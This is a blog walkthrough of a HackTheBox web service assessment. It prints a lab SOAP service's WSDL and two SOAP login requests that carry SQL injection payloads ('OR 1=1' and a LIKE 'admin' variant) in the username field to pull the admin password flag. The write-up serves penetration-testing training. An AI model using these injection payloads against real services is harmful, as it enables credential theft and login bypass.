HackTheBox - Web Service & API Attacks - Skills Assessment Walkthrough


Scenario
Our client tasks us with assessing a SOAP web service whose WSDL file resides at http://<TARGET IP>:3002/wsdl?wsdl
.
Assess the target, identify an SQL Injection vulnerability through SOAP messages and answer the question below.
Submit the password of the user that has a username of "admin". Answer format: FLAG{string}. Please note that the service will respond successfully only after submitting the proper SQLi payload, otherwise it will hang or throw an error.
Walkthrough
Navigate to http://10.129.202.133:3002/wsdl?wsdl
, and you will see the following response (with Burp):
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/xml
Date: Thu, 24 Jul 2025 06:39:30 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 4461
<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions targetNamespace="http://tempuri.org/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/"
xmlns:tns="http://tempuri.org/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
<wsdl:types>
<s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">
<s:element name="LoginRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="username" type="s:string"/>
<s:element minOccurs="1" maxOccurs="1" name="password" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="LoginResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>
<!-- Login Messages -->
<wsdl:message name="LoginSoapIn">
<wsdl:part name="parameters" element="tns:LoginRequest"/>
</wsdl:message>
<wsdl:message name="LoginSoapOut">
<wsdl:part name="parameters" element="tns:LoginResponse"/>
</wsdl:message>
<!-- ExecuteCommand Messages -->
<wsdl:message name="ExecuteCommandSoapIn">
<wsdl:part name="parameters" element="tns:ExecuteCommandRequest"/>
</wsdl:message>
<wsdl:message name="ExecuteCommandSoapOut">
<wsdl:part name="parameters" element="tns:ExecuteCommandResponse"/>
</wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<!-- Login Operaion | PORT -->
<wsdl:operation name="Login">
<wsdl:input message="tns:LoginSoapIn"/>
<wsdl:output message="tns:LoginSoapOut"/>
</wsdl:operation>
<!-- ExecuteCommand Operation | PORT -->
<wsdl:operation name="ExecuteCommand">
<wsdl:input message="tns:ExecuteCommandSoapIn"/>
<wsdl:output message="tns:ExecuteCommandSoapOut"/>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<!-- SOAP Login Action -->
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<!-- SOAP ExecuteCommand Action -->
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="HacktheboxService">
<wsdl:port name="HacktheboxServiceSoapPort" binding="tns:HacktheboxServiceSoapBinding">
<soap:address location="http://localhost:80/wsdl"/>
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
There are two operations available: Login
and ExecuteCommand
. We need to exploit SQL injection to retrieve the flag.
Since we need the username admin
and its password, let's send a POST request to the Login
operation with the SOAPAction
header set to "Login"
:
And as mentioned in the scenario, there is no response - it just hangs.
Let's try an SQL injection payload in the username
parameter:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username> ' OR 1=1 -- </username>
<password>test</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>
We’ve identified the parameter that is vulnerable to SQL injection !
We know there is an admin
user whose password contains the flag, let's try to retrieve its data:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username> ' OR 1=1 and username LIKE 'admin' -- </username>
<password>test</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>
And we got the flag! 😄
Subscribe to my newsletter
Read articles from Ido Abramov directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
